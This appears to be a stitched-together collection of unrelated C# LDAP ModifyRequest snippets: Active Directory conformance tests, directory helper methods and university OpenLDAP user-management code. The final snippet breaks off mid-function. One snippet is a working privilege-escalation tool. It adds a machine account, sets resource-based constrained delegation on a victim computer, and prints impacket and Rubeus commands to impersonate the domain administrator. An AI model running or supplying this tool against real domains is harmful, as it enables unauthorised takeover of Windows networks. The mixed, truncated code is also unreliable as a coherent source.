/// <summary> /// This method is to help enable the compound identity feature on the computer account in the specific domain. /// </summary> /// <param name="domainName">The domain name of the service principal.</param> /// <param name="computerName">The host name of the service principal.</param> /// <param name="adminName">Need administrator's credential to modify active directory account.</param> /// <param name="adminPwd">Need administrator's credential to modify active directory account.</param> public void enableCompId(string domainName, string computerName, string adminName, string adminPwd) { LdapConnection connection = new LdapConnection(domainName); NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName); connection.Credential = cred; string dn = PacHelper.GetDomainDnFromDomainName(domainName); string targetOu = "cn=Computers," + dn; computerName = computerName.Replace("$", ""); string filter = "cn=" + computerName; string[] attributesToReturn = new string[] { "msDS-SupportedEncryptionTypes" }; SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes; object attributeValue = null; attributeValue = PacHelper.getAttributeValue(attributes, "msDS-SupportedEncryptionTypes"); uint? supportedEncTypes = (uint?)Convert.ToInt32(attributeValue); uint compIdFlag = 131072; if ((supportedEncTypes.Value & compIdFlag) != compIdFlag) { string computerDN = filter + "," + targetOu; supportedEncTypes = supportedEncTypes + compIdFlag; ModifyRequest modRequest = new ModifyRequest(computerDN, DirectoryAttributeOperation.Replace, "msDS-SupportedEncryptionTypes", supportedEncTypes.ToString()); ModifyResponse modResponse = (ModifyResponse)connection.SendRequest(modRequest); } }
/// <summary> /// Test clean up /// </summary> protected override void TestCleanup() { string addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress; LdapConnection con = new LdapConnection( new LdapDirectoryIdentifier(addr), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)); con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; System.DirectoryServices.Protocols.ModifyRequest mod = new System.DirectoryServices.Protocols.ModifyRequest("", DirectoryAttributeOperation.Add, "schemaupgradeinprogress", "0"); con.SendRequest(mod); base.TestCleanup(); }
/// <summary> /// Test clean up /// </summary> protected override void TestCleanup() { string addr = adLdapModelAdapter.PDCIPAddress; string port = adLdapModelAdapter.ADDSPortNum; LdapConnection con = new LdapConnection( new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(adLdapModelAdapter.DomainAdministratorName, adLdapModelAdapter.DomainUserPassword, adLdapModelAdapter.PrimaryDomainDnsName)); con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; System.DirectoryServices.Protocols.ModifyRequest mod = new System.DirectoryServices.Protocols.ModifyRequest("", DirectoryAttributeOperation.Add, "schemaupgradeinprogress", "0"); con.SendRequest(mod); base.TestCleanup(); }
public static bool ChangePassword(LdapConnection connection, string userDN, string oldPassword, string newPassword, bool dryRun = false) { // Create change password request DirectoryAttributeModification deleteMod = new DirectoryAttributeModification(); deleteMod.Name = "unicodePwd"; deleteMod.Add(Encoding.Unicode.GetBytes("\"" + oldPassword + "\"")); deleteMod.Operation = DirectoryAttributeOperation.Delete; DirectoryAttributeModification addMod = new DirectoryAttributeModification(); addMod.Name = "unicodePwd"; addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\"")); addMod.Operation = DirectoryAttributeOperation.Add; ModifyRequest request = new ModifyRequest(userDN, deleteMod, addMod); try { if (!dryRun) { DirectoryResponse response = connection.SendRequest(request); return response.ResultCode == 0; } else { return true; } } catch (DirectoryOperationException ex) { if (ex.Response.ErrorMessage.StartsWith("0000052D")) { throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."); } // TODO: Convert to DirectoryOperationException and use better match to give the dsHeuristics exception else if (ex.Message == "The object does not exist") { throw new Exception("User not allowed to change own password because of missing permission, set dsHeuristics to 0000000001001 on CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,CN=..."); } else { throw; } } }
public bool SetUserAttribute(string uname, string attribute, string value) { string userDN = this.GetUserDN(uname); try { DirectoryAttributeModification mod = new DirectoryAttributeModification { Name = attribute, Operation = DirectoryAttributeOperation.Replace }; mod.Add(value); ModifyRequest req = new ModifyRequest(userDN); req.Modifications.Add(mod); m_conn.SendRequest(req); } catch (Exception e) { m_logger.FatalFormat("can't add attribute:{0} because of error:{1}", attribute, e.Message); return false; } if (attribute.ToLower().Equals("sambapwdlastset")) { Dictionary<string, List<string>> SearchResult = GetUserAttribValue(userDN, "(objectClass=*)", SearchScope.Subtree, new string[] { "shadowMax", "sambaPwdMustChange" }); if (SearchResult.ContainsKey("shadowmax") && SearchResult.ContainsKey("sambapwdmustchange")) { int shadowMax = 0; try { shadowMax = Convert.ToInt32(SearchResult["shadowmax"].First()); } catch (Exception e) { m_logger.FatalFormat("SetUserAttribute: Unable to convert return from GetUserAttribValue to int {0}", e.Message); return false; } if (shadowMax > 0) { TimeMethod time = TimeMethod.methods[Methods.Timestamps]; string t = time.time(new TimeSpan(shadowMax, 0, 0, 0)); if (!t.Equals("0")) if (!SetUserAttribute(uname, "sambaPwdMustChange", t)) return false; } } } return true; }
/// <summary> /// Deletes an attribute's value in the specified entry in the directory. /// </summary> /// <param name="dn">The distinguished name of the entry to delete an attribute from.</param> /// <param name="attributeName">The name of the attribute to delete.</param> /// <param name="values">Optional: The specific values to delete (if desired). Supplying null will delete all values associated with the attribute.</param> /// <returns>True if deleted, false otherwise.</returns> public bool DeleteAttribute(string dn, string attributeName, object[] values = null) { if (!string.IsNullOrWhiteSpace(dn) && !string.IsNullOrWhiteSpace(attributeName)) { ModifyRequest request = null; if (values != null) { request = new ModifyRequest(dn, DirectoryAttributeOperation.Delete, attributeName, values); } else { request = new ModifyRequest(dn, DirectoryAttributeOperation.Delete, attributeName); } // This control allows for deletes of values that don't already exist to succeed without throwing an exception. // The value is already gone from the attribute so it returns success as if it deleted it. request.Controls.Add(new PermissiveModifyControl()); ModifyResponse response = (ModifyResponse)connection.SendRequest(request); // Check that a response was received. if (response != null) { // A response was received. if (response.ResultCode == ResultCode.Success) { return true; } } else { // A response was not received. return false; } } return false; }
/// <summary> /// Replace an attribute's value in the specified entry in the directory, or replaces all values in a multivalued entry. /// </summary> /// <param name="dn">The distinguished name of the entry to replace the attribute value of.</param> /// <param name="attributeName">The name of the attribute to replace.</param> /// <param name="values">The values associated with the attribute to replace.</param> /// <returns>True if replaced, false otherwise.</returns> private bool ReplaceAttribute(string dn, string attributeName, object[] values) { if (!string.IsNullOrWhiteSpace(dn) && !string.IsNullOrWhiteSpace(attributeName)) { ModifyRequest request = new ModifyRequest(dn, DirectoryAttributeOperation.Replace, attributeName, values); try { ModifyResponse response = (ModifyResponse)connection.SendRequest(request); // Check that a response was received. if (response != null) { // A response was received. if (response.ResultCode == ResultCode.Success) { return true; } } else { // A response was not received. return false; } } catch { } } return false; }
public void LDAP_Modify_SecurityDescriptor_ProcessingSpecifics() { #region variables string netBIOSName = AD_LDAPModelAdapter.Instance(Site).PrimaryDomainNetBiosName; string operUser = "******"; string operUserDN = "CN=" + operUser + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string testUser = "******"; string testUserDN = "CN=" + testUser + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string userPwd = "Password01!"; bool failed = false; ActiveDirectorySecurity securityDescriptor = new ActiveDirectorySecurity(); string testUserOwner = null; #endregion BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less then Windows Server 2012"); string addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress; string port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum; try { using (LdapConnection con = new LdapConnection( new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName))) { con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; #region add a user object for operating the ntSecurityDescriptor modify if (!Utilities.IsObjectExist(operUserDN, addr, port)) { Utilities.NewUser(addr, port, "CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC, operUser, userPwd); } #endregion #region add a test user object to be modified if (!Utilities.IsObjectExist(testUserDN, addr, port)) { Utilities.NewUser(addr, port, "CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC, testUser, userPwd); } #endregion #region get ntSecurityDescriptor for the test user object to be modified System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest( testUserDN, "(objectClass=user)", System.DirectoryServices.Protocols.SearchScope.Subtree, "ntSecurityDescriptor"); System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); BaseTestSite.Assert.AreEqual( 1, searchRep.Entries[0].Attributes.Count, @"Without the presence of this control, the server returns an SD only when the SD attribute name is explicitly mentioned in the requested attribute list."); DirectoryAttribute attr = searchRep.Entries[0].Attributes["ntSecurityDescriptor"]; object[] values = attr.GetValues(Type.GetType("System.Byte[]")); byte[] value = (byte[])values[0]; securityDescriptor.SetSecurityDescriptorBinaryForm(value); //GetsSecurityDescriptorOwner method will return the owner part of Secuirty Descriptor testUserOwner = Utilities.GetSecurityDescriptorOwner(securityDescriptor); #endregion } using (LdapConnection con = new LdapConnection( new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(operUser, userPwd, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName))) { #region modify the test user IdentityReference testUserId = new NTAccount(testUserOwner); securityDescriptor.SetOwner(testUserId); byte[] value = securityDescriptor.GetSecurityDescriptorBinaryForm(); DirectoryAttributeModification mod = new DirectoryAttributeModification(); mod.Name = "ntSecurityDescriptor"; mod.Operation = DirectoryAttributeOperation.Replace; mod.Add(value); System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest(testUserDN, mod); try { System.DirectoryServices.Protocols.ModifyResponse modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); if (modRep.ResultCode == ResultCode.Success) { failed = false; } } catch (DirectoryOperationException e) { if (e.Response.ResultCode == ResultCode.ConstraintViolation) { int errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_INVALID_OWNER) { failed = true; } } } BaseTestSite.Assert.IsTrue( failed, @"Microsoft Windows Server 2008 R2 operating system and above impose a restriction on modifying the OWNER field. If a modify operation attempts to set the OWNER SID to a value to which it is currently set, the operation will fail with a constraintViolation / ERROR_INVALID_OWNER unless at least one of the following conditions applies. Let U be the user performing the modify operation: § U.SID equals OWNER SID. § Let G be a group in U.Groups whose SID is being set in the OWNER field. G.Attributes contains SE_GROUP_OWNER but not SE_GROUP_USE_FOR_DENY_ONLY. § U.Privileges contains SE_RESTORE_PRIVILEGE. This restriction is processed before the security checks described in section 6.1.3.4."); #endregion } } finally { using (LdapConnection con = new LdapConnection( new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName))) { #region clean up System.DirectoryServices.Protocols.DeleteRequest delReq = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN); System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); delReq = new System.DirectoryServices.Protocols.DeleteRequest(operUserDN); delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); #endregion } } }
/// <summary> /// Adds or Replaces an attribute's value in the specified entry in the directory. /// </summary> /// <param name="dn">The distinguished name of the entry to add or replace an attribute of.</param> /// <param name="attributeName">The name of the attribute to add or replace a value for.</param> /// <param name="values">The values associated with the attribute to add or replace.</param> /// <returns>True if added or replaced, false otherwise.</returns> public bool AddOrReplaceAttribute(string dn, string attributeName, object[] values) { if (!string.IsNullOrWhiteSpace(dn) && !string.IsNullOrWhiteSpace(attributeName)) { ModifyRequest request = new ModifyRequest(dn, DirectoryAttributeOperation.Add, attributeName, values); try { ModifyResponse response = (ModifyResponse)connection.SendRequest(request); // Check that a response was received. if (response != null) { // A response was received. if (response.ResultCode == ResultCode.Success) { return true; } } else { // A response was not received. return false; } } catch (DirectoryOperationException) { // The attribute already has a value. return ReplaceAttribute(dn, attributeName, values); } } return false; }
/// <summary> /// Método que se encarga de modificar un usuario profesor en el LDAP /// </summary> /// <param name="estudiante"> /// Los datos del profesor (en un tipo Usuario) por modificar en el LDAP /// </param> public Boolean modificarUsuario(Usuario usuario, Boolean changePass) { String udi = usuario.UID; LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER); LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER); openLdap.Credential = new System.Net.NetworkCredential(Constantes.LDAP_USER, Constantes.LDAP_PASS); openLdap.AuthType = AuthType.Basic; openLdap.SessionOptions.ProtocolVersion = 3; // Hay que usar LDAPv3 openLdap.Bind(); // Conectar // Limpiar caracteres ESTO HAY QUE CAMBIARLO POR VALIDACIONES EN INTERFAZ char[] badChars = { 'á', 'é', 'í', 'ó', 'ú', 'ñ' }; char[] goodChars = { 'a', 'e', 'i', 'o', 'u', 'n' }; for (int i = 0; i < badChars.Length; i++) // Limpiar caracteres { usuario.Nombre = usuario.Nombre.Replace(badChars[i], goodChars[i]); // Quitar tildes u caracteres especiales del nombre usuario.Apellidos = usuario.Apellidos.Replace(badChars[i], goodChars[i]); // Quitar tildes u caracteres especiales de los apellidos } try { // Agregar las atributos del usuario para LDAP ModifyRequest increment1 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "cn", usuario.Nombre ); openLdap.SendRequest(increment1); ModifyRequest increment2 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "sn", usuario.Apellidos); openLdap.SendRequest(increment2); ModifyRequest increment3 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "gecos", usuario.Carnet + ' ' + usuario.Nombre + ' ' + usuario.Apellidos + ' ' + usuario.Carrera); openLdap.SendRequest(increment3); if (usuario.TelefonoCasa.Replace(" ", "") != "") { // Teléfono de la casa en caso de que haya ModifyRequest increment4 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "homePhone",usuario.TelefonoCasa); openLdap.SendRequest(increment4); } if (usuario.TelefonoCelular.Replace(" ", "") != "") {// Teléfono celular en caso de que haya ModifyRequest increment5 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "mobile", usuario.TelefonoCelular); openLdap.SendRequest(increment5); } if (usuario.Correo.Replace(" ", "") != "") {// Correo electrónico del usuario ModifyRequest increment5 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "mail", usuario.Correo); openLdap.SendRequest(increment5); } ModifyRequest increment6 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "displayName", usuario.Nombre + ' ' + usuario.Apellidos); openLdap.SendRequest(increment6); ModifyRequest increment7 = new ModifyRequest("uid=" + usuario.UID + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "description", usuario.Grupo); openLdap.SendRequest(increment7); //nuevoUsuario.Dispose(); // No hacer esto /* if(usuario.Grupo == "Estudiante") { agregarGruposGenerales(usuario.UID); // Agrega a los grupos generales de LDAP agregarGrupo(usuario.UID, _listadaGrupos.Estudiante.NombreGrupo); // Agregar el usuario al grupo de estudiantes } else { agregarGruposGenerales(usuario.UID); // Agrega a los grupos generales de LDAP agregarGrupo(usuario.UID, _listadaGrupos.Profesor.NombreGrupo); // Agregar el usuario al grupo de profesores } */ if (changePass) { ModifyRequest increment9 = new ModifyRequest("uid=" + udi + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "userPassword", usuario.Contrasena); openLdap.SendRequest(increment9); } return true; } catch (Exception e) { _conexionBD = new ManejoBD(); _conexionBD.insertarBitacoraError(e.ToString(), ""); return false; } }
public void LDAP_Modify_ObjectClass_Updates() { #region variables bool failed = false; string userDN = "CN=" + AD_LDAPModelAdapter.Instance(Site).testUser7Name + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; int errorCode; #endregion #region connect BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2003, "Server OS version should be not less than Windows Server 2003"); LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(AD_LDAPModelAdapter.Instance(Site).PDCIPAddress), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)); #endregion #region Modify Object Class Update for class user System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest( userDN, DirectoryAttributeOperation.Replace, "objectClass", "computer"); System.DirectoryServices.Protocols.ModifyResponse modRep = null; try { modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); } catch (DirectoryOperationException e) { if (EnvironmentConfig.ServerVer == ServerVersion.Win2003) { if (e.Response.ResultCode == ResultCode.UnwillingToPerform) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_ILLEGAL_MOD_OPERATION) { failed = true; } } } else if (EnvironmentConfig.ServerVer >= ServerVersion.Win2008) { if (e.Response.ResultCode == ResultCode.ObjectClassViolation) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_ILLEGAL_MOD_OPERATION) { failed = true; } } } else { failed = false; } } BaseTestSite.Assert.IsTrue( failed, @"If the DC functional level is DS_BEHAVIOR_WIN2003, unwillingToPerform / ERROR_DS_ILLEGAL_MOD_OPERATION is returned. If the DC functional level is DS_BEHAVIOR_WIN2008 or greater, objectClassViolation / ERROR_DS_ILLEGAL_MOD_OPERATION is returned."); #endregion }
static void Main(string[] args) { if (args.Length < 2) { Usage(); return; } var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf('='); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } } if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm")) { Usage(); return; } String DomainController = arguments["dc"]; String Domain = arguments["domain"]; String new_MachineAccount = ""; String new_MachineAccount_password = ""; //添加的机器账户 if (arguments.ContainsKey("ma")) { new_MachineAccount = arguments["ma"]; } else { new_MachineAccount = RandomString(8); } //机器账户密码 if (arguments.ContainsKey("ma")) { new_MachineAccount_password = arguments["mp"]; } else { new_MachineAccount_password = RandomString(10); } String victimcomputer = arguments["tm"];; //需要进行提权的机器 String machine_account = new_MachineAccount; String sam_account = ""; String DistinguishedName = ""; if (machine_account.EndsWith("$")) { sam_account = machine_account; machine_account = machine_account.Substring(0, machine_account.Length - 1); } else { sam_account = machine_account + "$"; } String distinguished_name = DistinguishedName; String victim_distinguished_name = DistinguishedName; String[] DC_array = null; distinguished_name = "CN=" + machine_account + ",CN=Computers"; victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers"; DC_array = Domain.Split('.'); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; victim_distinguished_name += ",DC=" + DC; } Console.WriteLine(victim_distinguished_name); Console.WriteLine("[+] Elevate permissions on " + victimcomputer); Console.WriteLine("[+] Domain = " + Domain); Console.WriteLine("[+] Domain Controller = " + DomainController); //Console.WriteLine("[+] Distinguished Name = " + distinguished_name); try{ //连接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录 System.DirectoryServices.Protocols.LdapConnection connection = null; //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc); connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind(); //通过ldap找计算机 System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + victim_distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(CN=" + victimcomputer + ")"; string[] requiredProperties = new string[] { "samaccountname" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } //添加机器并设置资源约束委派 if (result != null) { try { var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account) }); //添加机器账户 connection.SendRequest(request); Console.WriteLine("[+] New SAMAccountName = " + sam_account); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added"); } catch (System.Exception ex) { Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)"); Console.WriteLine("[-] Exception: " + ex.Message); return; } // 获取新计算机对象的SID var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null); var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request); SecurityIdentifier sid = null; foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries) { try { sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0); Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value); } catch { Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting..."); return; } } //设置资源约束委派 String sec_descriptor = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")"; RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(buffer, 0); //测试sddl转换结果 //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0); //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All)); // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中 try { var change_request = new System.DirectoryServices.Protocols.ModifyRequest(); change_request.DistinguishedName = victim_distinguished_name; DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification(); modifymsDS.Operation = DirectoryAttributeOperation.Replace; modifymsDS.Name = "msDS-AllowedToActOnBehalfOfOtherIdentity"; modifymsDS.Add(buffer); change_request.Modifications.Add(modifymsDS); connection.SendRequest(change_request); Console.WriteLine("[+] Exploit successfully!\n"); //打印利用方式 Console.WriteLine("[+] Use impacket to get priv!\n"); Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain); Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache"); Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain); Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n"); Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain); Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController); Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain); Console.WriteLine("\n[+] Done.."); } catch (System.Exception ex) { Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException); Console.WriteLine("[!] Failed..."); return; } } } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } }
public void LDAP_AD_DS_Modify_Constraints_MultipleDescriptions() { #region variables string userName = "******"; string userDN = "CN=" + userName + ",CN=users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; int errorCode; bool failed = false; #endregion #region connect BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012"); string addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress; string port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum; LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)); con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; #endregion #region Add an object for modify constraint test if (!Utilities.IsObjectExist(userDN, addr, port)) { ManagedAddRequest addReq = new ManagedAddRequest(userDN, "user"); System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); } #endregion #region Modify constraint for class user System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest( userDN, DirectoryAttributeOperation.Add, "description", new string[] { "aaa", "bbb" }); System.DirectoryServices.Protocols.ModifyResponse modRep = null; try { modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); } catch (DirectoryOperationException e) { if (e.Response.ResultCode == ResultCode.AttributeOrValueExists) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_SINGLE_VALUE_CONSTRAINT) { failed = true; } } } BaseTestSite.Assert.IsTrue( failed, @"If the modify operation adds or replaces values of the description attribute on a SAM-specific object (section 3.1.1.5.2.3), and results in more than one value in the attribute, then the modification fails with attributeOrValueExists / ERROR_DS_SINGLE_VALUE_CONSTRAINT."); #endregion #region Delete the user for modify test System.DirectoryServices.Protocols.DeleteRequest delReq = new System.DirectoryServices.Protocols.DeleteRequest( "CN=testModifyConstraints,CN=users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC); System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); #endregion }
/// <summary> /// Método que retorna el proximo identificador unico libre /// </summary> /// <returns>Identificador único libre</returns> private String obtenerNumeroUid() { string uid = ""; LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER); LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER); openLdap.Credential = new System.Net.NetworkCredential(Constantes.LDAP_USER, Constantes.LDAP_PASS); openLdap.AuthType = AuthType.Basic; openLdap.SessionOptions.ProtocolVersion = 3; // Hay que usar LDAPv3 openLdap.Bind(); // Conectar string[] attributesToReturn = new string[] { "uidNumber" }; // Retornar solamente el uid number SearchRequest searchRequest = new SearchRequest("dc=ic-itcr,dc=ac,dc=cr", "(cn=NextFreeUnixId)", System.DirectoryServices.Protocols.SearchScope.Subtree, attributesToReturn); // Buscar al objeto NextFreeUnixId SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest); // Respuesta del servidor // Manejar la respuesta DirectoryAttribute atributo = searchResponse.Entries[0].Attributes["uidNumber"]; object[] objeto = atributo.GetValues(Type.GetType("System.Byte[]")); uid = Encoding.ASCII.GetString((byte[])objeto[0]); int siguienteuid = Int32.Parse(uid) + 1; // Actualizar el Unix Id libre ModifyRequest incremento = new ModifyRequest("cn=NextFreeUnixId,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "uidNumber", siguienteuid.ToString()); // Modificar el NextFreeUnixId en el servidor openLdap.SendRequest(incremento); openLdap.Dispose(); 